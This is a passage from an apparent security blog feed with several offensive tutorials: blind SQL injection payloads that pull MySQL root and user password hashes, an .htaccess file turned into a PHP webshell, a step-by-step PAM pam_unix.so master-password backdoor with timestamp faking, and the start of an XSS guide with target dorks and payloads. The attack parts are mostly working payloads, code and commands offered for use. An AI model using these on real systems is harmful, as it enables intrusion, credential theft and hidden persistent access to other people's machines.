Let&#8217;s star with an easy example. We have this type of URL:<br />
site.com/news.php?id=2<br />
it will result in this type of query on the database:<br />
SELECT * FROM news WHERE ID = 2<br />
Now, we can try some sql injection techniques, for example the blind sql injection!<br />
site.com/news.php?id=2 and 1=0<br />
SQL query is now:<br />
SELECT * FROM news WHERE ID = 2 and 1=0<br />
In this case the query will not return anything (FALSE) because 1 is different from 0; Let&#8217;s do<br />
the litmus test: try to get the TRUE statement forcing the AND to be TRUE;<br />
site.com/news.php?id=2 and 0=0<br />
In this case 0 is equal to 0&#8230; Got it! We should now see the original news page. We now know<br />
that is vulnerable to Blind Sql Injection.<br />
Time attack (MySQL)<br />
When you can&#8217;t see any kind of results, you must use the time attack.<br />
In this example we will try to obtain the password of root user in mysql (if your have root<br />
priviledges on mysql).<br />
BENCHMARK function is used to sleep for some seconds.<br />
3/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
Syntax: BENCHMARK(how many times,thing to do).<br />
When you use it in IF statement, you will be able to make time attack in MySQL;<br />
SELECT 1,1 UNION SELECT<br />
IF(SUBSTRING(Password,1,1)=&#8217;a',BENCHMARK(100000,SHA1(1)),0) User,Password<br />
FROM mysql.user WHERE User = ‘root’;<br />
SELECT 1,1 UNION SELECT<br />
IF(SUBSTRING(Password,1,1)=&#8217;b',BENCHMARK(100000,SHA1(1)),0) User,Password<br />
FROM mysql.user WHERE User = ‘root’;<br />
SELECT 1,1 UNION SELECT<br />
IF(SUBSTRING(Password,1,1)=&#8217;c',BENCHMARK(100000,SHA1(1)),0) User,Password<br />
FROM mysql.user WHERE User = ‘root’;<br />
SELECT 1,1 UNION SELECT<br />
IF(SUBSTRING(Password,1,1)=&#8217;d',BENCHMARK(100000,SHA1(1)),0) User,Password<br />
FROM mysql.user WHERE User = ‘root’;<br />
And so on until you will see the BENCHMARK running (few more seconds delay). Now proceed<br />
with the 2nd word of the password&#8230;<br />
Time attack (MSSQL)<br />
In this example we will try to obtain the username of the sysusers table.<br />
A simple way to generate time delays is to take advantage of one of the biggest database<br />
problems, that have made necessary the development of performance-tuning techniques;<br />
heavy queries. All you need to generate a time delay is to access a table that has some<br />
registers and to build a good query to force the engine to work. In other words, we need to<br />
build a query ignoring what the performance best practices recommend. (This technique was<br />
made by Chema Alonso, Microsoft Security MVP)<br />
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as<br />
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,<br />
sysusers AS sys7, sysusers AS sys8)&gt;1 and 300&gt;(select top 1<br />
ascii(substring(name,1,1)) from sysusers)<br />
Positive result. The condition is true, and the response has a delay of 14 seconds. We actually<br />
know that the ASCII value of the first username’s letter in the sysusers table is lower than<br />
300.<br />
site.com/news.aspx?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as<br />
sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6,<br />
sysusers AS sys7, sysusers AS sys8)&gt;1 and 0 &gt;(select top 1 ascii(substring(name,1,1))<br />
from sysusers)<br />
Negative Result. One-second response delay. We actually know than the ASCII value of the<br />
first username’s letter in the sysusers table is higher than 0.<br />
And so on for all the possibilities:<br />
[...] &gt;1 and 300 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 14<br />
seconds → TRUE<br />
[...] &gt;1 and 0 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second →<br />
FALSE<br />
[...] &gt;1 and 150 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 14<br />
seconds → TRUE<br />
[...] &gt;1 and 75 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second →<br />
4/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
FALSE<br />
[...] &gt;1 and 100 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second<br />
→ FALSE<br />
[...] &gt;1 and 110 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second<br />
→ FALSE<br />
[...] &gt;1 and 120 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 14<br />
seconds → TRUE<br />
[...] &gt;1 and 115 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second<br />
→ FALSE<br />
[...] &gt;1 and 118 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second<br />
→ FALSE<br />
[...] &gt;1 and 119 &gt;(select top 1 ascii(substring(name,1,1)) from sysusers) → 1 second<br />
→ FALSE<br />
Then the result is ASCII(119)=&#8217;w&#8217;.<br />
Start with the second letter&#8230; and so on!<br />
Regexp attack&#8217;s methodology<br />
This is our own creation and it is the faster to extract information from a database. With this<br />
you can save a lot of time and bandwidth!<br />
The methodology is pretty simple: we define a range of numbers/chars/spacial chars that will<br />
be matched with REGEXP (MySQL) or LIKE (MSSQL) functions.<br />
Let&#8217;s start with an example because is more simple to understand.<br />
Finding table name with Regexp attack (MySQL)<br />
In this example we will extract the first matched record of information_schema.tables, you<br />
must know the name of database!<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables LIMIT 0,1)<br />
We tested the blind sql injection attack, and if we see the correct page, everything is ok.<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^[a-z]&#8216; LIMIT 0,1)<br />
In this case we know that the first matched record start with a char between [a -&gt; z]<br />
That example will show you how to extract the complete name of the record:<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^[a-n]&#8216; LIMIT 0,1)<br />
True<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^[a-g]&#8216; LIMIT 0,1)<br />
False<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^[h-n]&#8216; LIMIT 0,1)<br />
True<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^[h-l]&#8216; LIMIT 0,1)<br />
False<br />
5/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^m&#8217; LIMIT 0,1)<br />
False<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^n&#8217; LIMIT 0,1)<br />
True<br />
The first letter of the table is &#8216;n&#8217;. But are there other tables start with &#8216;n&#8217;? Let&#8217;s change the<br />
limit to 1,1:<br />
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; AND table_name REGEXP &#8216;^n&#8217; LIMIT 1,1)<br />
False<br />
No, there are no more tables that start with &#8216;n&#8217;. From now on we must change the regular<br />
expression like this: &#8216;^n[a-z]&#8216; -&gt; &#8216;^ne[a-z]&#8216; -&gt; &#8216;^new[a-z]&#8216; -&gt; &#8216;^news[a-z]&#8216; -&gt; FALSE<br />
To test if we found the correct table name, we must test something like this: &#8216;^news$&#8217;.<br />
Finding table name with Regexp attack (MSSQL)<br />
For MSSQL, the syntax is a little bit more complicated. There are two limitations: LIMIT and<br />
REGEXP are not present. To bypass it, we must use TOP and LIKE functions. See that example:<br />
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; and table_name LIKE &#8216;[a-z]%&#8217; )<br />
True<br />
SELECT TOP is used to extract the first x record from information_schema table.<br />
In MSSQL, LIKE function is similar to REGEXP function in MySQL, but the syntax is not equal.<br />
For learn more about LIKE functions consult http://msdn.microsoft.com/enus/<br />
library/ms179859.aspx .<br />
When you need to grab the second table_name, you must use “table_name NOT IN ( SELECT<br />
TOP x table_name FROM information_schema.tables)” like in the example below:<br />
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE<br />
TABLE_SCHEMA=&#8221;blind_sqli&#8221; and table_name NOT IN ( SELECT TOP 1 table_name<br />
FROM information_schema.tables) and table_name LIKE &#8216;[a-z]%&#8217; )<br />
The second SELECT TOP is used to exclude X row and extract the X+1.<br />
Like in the MySQL example, we show how to modify LIKE expression, to extract the first row:<br />
&#8216;n[a-z]%&#8217; -&gt; &#8216;ne[a-z]%&#8217; -&gt; &#8216;new[a-z]%&#8217; -&gt; &#8216;news[a-z]%&#8217; -&gt; TRUE<br />
Otherwise MySQL ending, we have TRUE because &#8216;%&#8217; define any string of zero or more<br />
characters.<br />
To check the end, we must append “_” and verify if exist another character.<br />
&#8216;news%&#8217; TRUE -&gt; &#8216;news_&#8217; FALSE<br />
6/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
Exporting a value with Regexp attack (MySQL)<br />
In this example we will extract a MD5 hash from a know table name (in this case &#8216;users&#8217;);<br />
Remember: MD5 can ONLY contain [a-f0-9] values.<br />
We will use the same methodology described in the “Finding table name”.<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^[a-f]&#8216; AND<br />
ID=1)<br />
False<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^[0-9]&#8216; AND<br />
ID=1)<br />
True<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^[0-4]&#8216; AND<br />
ID=1)<br />
False<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^[5-9]&#8216; AND<br />
ID=1)<br />
True<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^[5-7]&#8216; AND<br />
ID=1)<br />
True<br />
index.php?id=1 and 1=(SELECT 1 FROM users WHERE password REGEXP &#8216;^5&#8242; AND<br />
ID=1)<br />
True<br />
Our hash start with &#8217;5&#8242; in just 6 try!<br />
Exporting a value with Regexp attack (MSSQL)<br />
Same thing as MySQL and “Finding Table name”. We now continue the search of second char.<br />
An example below:<br />
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#8217;5[a-f]%&#8217; AND<br />
ID=1)<br />
True<br />
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#8217;5[a-c]%&#8217; AND<br />
ID=1)<br />
False<br />
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#8217;5[d-f]%&#8217; AND<br />
ID=1)<br />
True<br />
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#8217;5[d-e]%&#8217; AND<br />
ID=1)<br />
False<br />
default.asp?id=1 AND 1=(SELECT 1 FROM users WHERE password LIKE &#8217;5f%&#8217; AND<br />
ID=1)<br />
True<br />
We have found our second char is &#8216;f&#8217; in just 5 try! (This is also the worst case for brute-force)<br />
7/9<br />
Blind Sql Injection – Regular Expressions Attack<br />
Time considerations<br />
Take for example the MD5 case. We must export an hash of 32 chars using a blind sql<br />
injection.<br />
You know that there are only 16 chars to be tested (1234567890abcdef);<br />
In an optimistic case, regexp and normal blind need 32 query to be done;<br />
In a worst-case , regexp need 128 query and normal blind need 512 query;<br />
Let&#8217;s take now a password case. We must export a 15 chars password mixalpha-numericspecial14.<br />
You know that there are 76 chars to be tested<br />
(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&amp;*()-<br />
_+=);<br />
In an optimistic case, regexp and normal blind need 15 query to be done;<br />
In a worst-case, regexp need approx 94 query and normal blind need 1140 query;<br />
8/9<br />
Regex Normal<br />
0<br />
100<br />
200<br />
300<br />
400<br />
500<br />
600<br />
Max Try<br />
Min Try<br />
Regex Normal<br />
0<br />
200<br />
400<br />
600<br />
800<br />
1000<br />
1200<br />
1400<br />
Max Try<br />
Min try<br />
Blind Sql Injection – Regular Expressions Attack<br />
Bypassing filters<br />
Below are examples of common filters bypass.<br />
TRIM (NO SPACES ALLOWED):<br />
SELECT/*not important*/1/*really&#8230;*/FROM/*im serious*/users → (open and<br />
close a comment);<br />
SELECT(1)FROM(information_schema.tables) → (parentheses&#8217;s rules)<br />
Special chars like:<br />
%0c = form feed, new page<br />
%09 = horizontal tab<br />
%0d = carriage return<br />
%0a = line feed, new line<br />
Example:<br />
SELECT%09TABLE_NAME%09FROM%0dinformation_schema.tables<br />
SPECIAL CHAR (NO &#8216;, “ ALLOWED):<br />
Usually the &#8216; AND “ are used to input some kind of string. So you can input the HEX<br />
value:<br />
SELECT passwd FROM users WHERE username=0x61646d696e<br />
Where 0x61646d696e is the hex value of &#8216;admin&#8217;<br />
Or also using the CHAR function:<br />
SELECT passwd FROM users WHERE<br />
username=CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))<br />
Real life example<br />
You can download an example of PHP code from</p>
<p>http://www.ihteam.net/papers/regexp_bsqli.php.tar.gz</p>
<p>Conclusions<br />
To conclude our paper, we must specify that:<br />
1. Is possible make a “combo” attack using “Time Attack” or other;<br />
2. The regexp that you will use, could also be a list of chars like “[abcdef0123456789]”;<br />
3. Our English is fu**ing bad! :)<br />
9/9</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/blind-sql-injection-with-regular-expressions-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用.htaccess做更隐蔽的后门</title>
		<link>http://www.0x50sec.org/%e7%94%a8-htaccess%e5%81%9a%e6%9b%b4%e9%9a%90%e8%94%bd%e7%9a%84%e5%90%8e%e9%97%a8/</link>
		<comments>http://www.0x50sec.org/%e7%94%a8-htaccess%e5%81%9a%e6%9b%b4%e9%9a%90%e8%94%bd%e7%9a%84%e5%90%8e%e9%97%a8/#comments</comments>
		<pubDate>Fri, 20 May 2011 03:04:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[后门]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1103</guid>
		<description><![CDATA[作者:kindle From:http://key0.cn/?p=285 万恶的引用功能，下文复制粘贴无用，请自行将双引号修改 .htaccess内容如下 #首先允许web访问这个文件 &#60;Files ~ “^\.ht”&#62; Order allow,deny Allow from all &#60;/Files&#62; RedirectMatch 403 .htaccess$ #.htaccess结尾的403错误，这里是为了增加隐蔽性 AddType application/x-httpd-php .htaccess #给.htaccess映射php拓展 ### SHELL ### &#60;?php echo “\n”;passthru($_GET['c'].” 2&#62;&#38;1″); ?&#62;### KINDLE ### #恶意的php代码 使用方法:http://localhost/.htaccess/?c=dir]]></description>
			<content:encoded><![CDATA[<p>作者:kindle</p>
<p>From:http://key0.cn/?p=285</p>
<p>万恶的引用功能，下文复制粘贴无用，请自行将双引号修改</p>
<p>.htaccess内容如下</p>
<blockquote><p>#首先允许web访问这个文件<br />
&lt;Files ~ “^\.ht”&gt;<br />
Order allow,deny<br />
Allow from all<br />
&lt;/Files&gt;</p>
<p>RedirectMatch 403 .htaccess$<br />
#.htaccess结尾的403错误，这里是为了增加隐蔽性</p>
<p>AddType application/x-httpd-php .htaccess<br />
#给.htaccess映射php拓展</p>
<p>### SHELL ### &lt;?php echo “\n”;passthru($_GET['c'].” 2&gt;&amp;1″); ?&gt;### KINDLE ###<br />
#恶意的php代码</p></blockquote>
<p>使用方法:http://localhost/.htaccess/?c=dir<a href="http://www.0x50sec.org/wp-content/uploads/2011/05/12.jpg"><img class="aligncenter size-full wp-image-1104" title="12" src="http://www.0x50sec.org/wp-content/uploads/2011/05/12.jpg" alt="" width="648" height="222" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e7%94%a8-htaccess%e5%81%9a%e6%9b%b4%e9%9a%90%e8%94%bd%e7%9a%84%e5%90%8e%e9%97%a8/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Backdoor on Pam module pam_unix.so</title>
		<link>http://www.0x50sec.org/backdoor-on-pam-module-pam_unix-so/</link>
		<comments>http://www.0x50sec.org/backdoor-on-pam-module-pam_unix-so/#comments</comments>
		<pubDate>Tue, 10 May 2011 13:10:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1097</guid>
		<description><![CDATA[来源：http://hi.baidu.com/p3rlish/blog/item/51c6b22e01c64a5d4ec22640.html 这个东西,08年的时候某牛给我讲解过一次,不过没这么通俗易懂,今天看到之后发现这个写的还是不错的,分享一下 In this article I will show you how to modify the PAM module pam_unix.so to let us log on a system (Via SSH per example) using a master password, which can be used with every login on the box. 1. Download PAM Source ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz 2. Unzip and edit the source file we are [...]]]></description>
			<content:encoded><![CDATA[<div id="blog_text">
<div>
<p>来源：http://hi.baidu.com/p3rlish/blog/item/51c6b22e01c64a5d4ec22640.html</p>
<p>这个东西,08年的时候某牛给我讲解过一次,不过没这么通俗易懂,今天看到之后发现这个写的还是不错的,分享一下</p>
<p>In this article I will show you how to modify the PAM module   pam_unix.so to let us log on a system (Via SSH per example) using a   master password, which can be used with every login on the box.</p>
<p>1. Download PAM Source</p>
<blockquote>
<div>ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz</div>
</blockquote>
<p>2. Unzip and edit the source file we are interested (pam_unix_auth.c)</p>
<blockquote>
<div>tar -xvzf Linux-PAM-1.1.1.tar.gz<br />
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c</div>
</blockquote>
<p>3. Search in the file the next string</p>
<blockquote>
<div>/* verify the password of this user */<br />
retval = _unix_verify_password(pamh, name, p, ctrl);</div>
</blockquote>
<p>4. Just after these lines add the next piece of code</p>
<blockquote>
<div>if (strcmp(p,&#8221;secpass&#8221;)==0 ){retval = PAM_SUCCESS;}</div>
</blockquote>
<p>Where <strong>secpass</strong> is the second password (our secret   password). With this modification every login with a valid user on the   system will accept this password ( root inclusive).</p>
<p>5. Go to the main source directory to configure and compile</p>
<blockquote>
<div>./configure<br />
make</div>
</blockquote>
<p>This create our needed module in <strong>modules/pam_unix/.libs/pam_unix.so<span id="more-1097"></span></strong></p>
<p>6.Now we need to replace the old module with the new one. But before we will create a backup in case we need it later.</p>
<blockquote>
<div>cp /lib/security/pam_unix.so /lib/security/pam_unix.so.orig<br />
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so</div>
</blockquote>
<p>7. Test if it works. You can create a new SSH session to the system.</p>
<p>8. Something important to take into consideration is change the file&#8217;s modification date.We can do it with touch.</p>
<blockquote>
<div>touch -t 200901022110 pam_unix.so</div>
</blockquote>
<p>Following these steps you could have an alternative way to enter a system.</p>
<p>That&#8217;s why its so important to use a integrity checker on the system (like Tripwire).</p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/backdoor-on-pam-module-pam_unix-so/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guidebook On Cross Site Scripting</title>
		<link>http://www.0x50sec.org/guidebook-on-cross-site-scripting/</link>
		<comments>http://www.0x50sec.org/guidebook-on-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 09 May 2011 13:05:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1094</guid>
		<description><![CDATA[From:http://packetstormsecurity.org/files/view/99770/ixss.txt // Best Viewed in Notepad++ with word wrap enabled :) A Tribute To My Mother Land &#8221; INDIA &#8221; ********************************************************** We should be thankful and remember the bravery of Maharaja Prithvi Raj Chauhan, Maharana Pratap, Chandra Shekhar Azad, Bhagat Singh, Rajguru, Sukhdev and all those who vanished their lives for the sake of freedom [...]]]></description>
			<content:encoded><![CDATA[<p>From:http://packetstormsecurity.org/files/view/99770/ixss.txt</p>
<p>// Best Viewed in Notepad++ with word wrap enabled :)</p>
<p>A Tribute To My Mother Land</p>
<p>&#8221; INDIA &#8221;<br />
**********************************************************<br />
We should be thankful and remember the bravery of Maharaja<br />
Prithvi Raj Chauhan, Maharana Pratap, Chandra Shekhar Azad,<br />
Bhagat Singh, Rajguru, Sukhdev and all those who vanished<br />
their lives for the sake of freedom and sanctity of the<br />
land named Hindustan (collectively India, Pakistan &amp;<br />
Bangladesh).</p>
<p>We might remember the intrepid spirit who stood an army<br />
named “Azad Hind Fauj” from prisoners of world war II far<br />
from India and fought for our freedom, The Great Subhash<br />
Chandra Bose. Remember His Words of inspiration</p>
<p>“Tum mujhe khoon do, main tumhe azaadi doonga”</p>
<p>We might get inspired by their great lifestyles and follow<br />
their thoughts.<br />
**********************************************************</p>
<p>Important!&#8230; Warning!!!<br />
The author do not take responsibility, if anyone, tries<br />
these hacks against any organization or whatever that makes<br />
him to trespass the security measures and brings him under<br />
the legal prosecution. These hacks are intended for the<br />
improvement of security and for investigations by legal<br />
security agencies. For educational institutions it is<br />
hereby requested that they should prevent their students<br />
from using the tools provided in this paper against the<br />
corporate world. This paper is the proof-of-concept and<br />
must be treated as it is.</p>
<p>&lt;|-[___________________________________________________________________________]-|&gt;<br />
-                                                                                     -<br />
-                              [ Cross Site scripting  ]                              -<br />
-                             By Ankit Anand [CrazyAnkit ]                            -<br />
-                                                                             -<br />
&lt;|-[___________________________________________________ ________________________]-|&gt;</p>
<p># Written On 26 March 2011<br />
# Author : Ankit Anand<br />
[ koolankit1993@gmail.com , ankitthehacker.wordpress.com<br />
# Written For Indishell.in ; Hackerz5.com ; r00tp0is0n.in<br />
# Greetz Fly Out to :  RJ D Indian ,cyb3r_shubham , cyb3rs4m ,l0c4l r00t , LuCky , c00lt04d, reb0rn, 3thic4l n00b , darkw0lf , ne0</p>
<p>// Reference : Exploit-db , Aoh [Orkut] , Google ;)</p>
<p>&#8211;==+================================================================================+==&#8211;<br />
&#8211;==+                     Dedicated To My Loving parents                             +==&#8211;<br />
&#8211;==+================================================================================+==&#8211;</p>
<p>=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x<br />
Feel Free To Share This White paper , knowledge is for sharing , But Respect Author&#8217;s Hardwork . Give Proper Credits !</p>
<p>=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;<br />
|&#8211;( I   ]&gt; Introduction<br />
0&#215;01: Introduction<br />
0&#215;02: Finding The xss Vulnerable Websites<br />
0&#215;03: Executing Xss Commands<br />
0&#215;04: Bypass techniques<br />
0&#215;05: Damages By Xss<br />
\_ 1.) Inject a Phishing script<br />
\_ 2.) Iframe Phishing<br />
\_ 3.) Redirict Phishing<br />
\_ 4.) Cookie stealing<br />
\_ 5.) Defacing<br />
\_ Xss Cheat Sheet<br />
0&#215;06 : Fixing Xss Holes<br />
0&#215;07:  [The End]<br />
|_| Conclusions</p>
<p>&lt;~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~&gt;</p>
<p><span id="more-1094"></span><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
0&#215;01: Introduction :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>xss also termed as css , no its not Cascading Style Sheets . xss is an abbreviation for cross site scripting . From The title itself its clear xss is related to scripts to be precise its javascripts . xss is a very common attackt found in web applications . &#8216;XSS&#8217; allows the attacker to INSERT malicous code . The attacker can inject his malicious script into a website, and the browser just run&#8217;s the code or script. XSS flaws comes up every time a website doesn&#8217;t filter the attackers input.</p>
<p>There are many types of XSS attacks, I will mention 3 of the most used.</p>
<p>The First Attack i wana talk about is &#8216;URL XSS&#8217; this means that the XSS wont stay on the page<br />
it will only get executed if you have the malicous code in the URL and submit the url<br />
we will talk more on how to use this in our advantage.</p>
<p>The Second Attack is input fields, Where ever you can insert data, it is very common, to be XSS<br />
vulnerable, for example say we found a site with a search engine, Now in the search box you enter<br />
&#8216;hacker&#8217; now hit enter, when the page loads, if it says your data like &#8216;Found 100 Results For hacker&#8217;<br />
ok now you see its displaying out data on the page, now what if we can exexute code? there is no possible<br />
way to execute PHP code in this Attack, but certainly is for HTML, Javascript, but be aware this method,<br />
Also wont stay on the server, this is for your eyes only.</p>
<p>The Third Attack, with this attack you will be able to INSERT data (code) and it will stay on the website.<br />
now there are 2 kinds, it depends if we can execute PHP or HTML if we can inject PHP then we can also<br />
inject HTML but NOT vice versa, Ok this kinda attack is normally found on Blogs, Shoutboxes, Profiles<br />
Forums, just most places where you insert data and it stays there. now HTML is totally diffrent then PHP<br />
HTML downloads to your pc and then your &#8216;Browser&#8217; parses/interprets the code, (thats why its source is viewable)<br />
With PHP the code is interpretued on the server the script is hosted on, then the data is returned to the browser.<br />
for PHP injection its rare, But it dont harm to try. Note: PHP code cant be injected into HTML page !!!</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
x02: Finding The xss Vulnerable Websites :<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
This Wont be  a tedious task if you have a good eye !<br />
It is not really a big issue UNLESS it was permanent! Most Of the websites you come up with are vulnerable , the thing you need to have is just good knowledge about how to bypass the filteration . well , there are many techniques like<br />
magic_quotes_gpc=ON bypass<br />
HEX encoding<br />
Obfuscation<br />
Trying around<br />
i will discuess them later !!</p>
<p>To Kick off start finding xss vulnerables you can check blogs,forums,comment boxes , shout boxes and anykinda input boxes !! . Dont Worry google will help us finding the websites . Using goole dork inurl:&#8221;search.php?q=&#8221; , we can get a list of common websites you can now try them !!<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
0&#215;03 : Executing Xss Commands<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Injecting Xss script is a easy task as said above just you have to look for an input box !!</p>
<p>Let&#8217;s say this is how a simple, unsecured search function looks like:</p>
<p>a vulnerable code would be:</p>
<p>&lt;*?php</p>
<p>$message = $_POST['message'];</p>
<p>if (isset($_POST['message']))<br />
{</p>
<p>echo &#8220;Thank you, your message has been posted!&#8221;;</p>
<p>echo &#8221;<br />
&#8220;;</p>
<p>echo $message;<br />
}</p>
<p>echo &#8221;<br />
&lt;*form method=&#8217;post&#8217; name=&#8217;message_box&#8217;&gt;<br />
&lt;*input type=&#8217;text&#8217; name=&#8217;message&#8217;&gt;<br />
&lt;*input type=&#8217;submit&#8217; name=&#8217;submit&#8217;&gt;<br />
&lt;*/form&gt;&amp;quot;;</p>
<p>?&gt;</p>
<p>ok, so now a malicious user could do the following:</p>
<p>submit the following text to test for vulnerability :</p>
<p>&lt;*script&gt;alert(&#8220;xss&#8221;)&amp;lt;*/script&gt;</p>
<p>or</p>
<p>&lt;*h1&gt;Nice Website!&lt;*/h1&gt;</p>
<p>IF the HTML gets parsed &#8220;and it will in this code&#8221; , the attacker will now move to the next step, which is logging the page.. by redirecting it to a logger..</p>
<p>some methods of bypassing some filters, for example, if the form only submits links, lets take this one as an example:</p>
<p>&lt;*?php</p>
<p>$message = $_POST['message'];</p>
<p>if (isset($_POST['message']))<br />
{</p>
<p>echo &#8220;Thank you, your link has been added!&#8221;;</p>
<p>echo &#8220;&lt;*br /&gt;&#8221;;</p>
<p>echo &#8220;&lt;*a href=&#8217;$message&#8217;&gt;Link&lt;*/a&amp;gt;&#8221;;;<br />
}</p>
<p>echo &#8221;<br />
&lt;*form method=&#8217;post&#8217; name=&#8217;message_box&#8217;&gt;<br />
&lt;*input type=&#8217;text&#8217; name=&#8217;message&#8217;&gt;<br />
&lt;*input type=&#8217;submit&#8217; name=&#8217;submit&#8217;&gt;<br />
&lt;*/form&gt;&amp;quot;;</p>
<p>?&gt;</p>
<p>now that should not parse anything, but simply wrap it in a link right?</p>
<p>well, i don&#8217;t think so, you can simply bypass it using:</p>
<p>&#8216;&gt; &lt;*script&gt;alert(&#8220;owned&#8221;)&amp;lt;*/script&gt;</p>
<p>why does that bypass it?!</p>
<p>here is what happens, the</p>
<p>&#8216;&gt;</p>
<p>will stop the a tag, and then you can open anything else&#8230;</p>
<p>here is the result:</p>
<p>&lt;*a href=&#8221;&gt; &lt;*script&gt;alert(&#8220;owned&#8221;)&amp;lt;*/script&gt;&#8217;&gt;Link&lt;*/a&gt;</p>
<p>as you can see, the a tag got closed, which allowed me to open another tag, which is a script here. and it works :)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
0&#215;04 : Bypass techniques<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
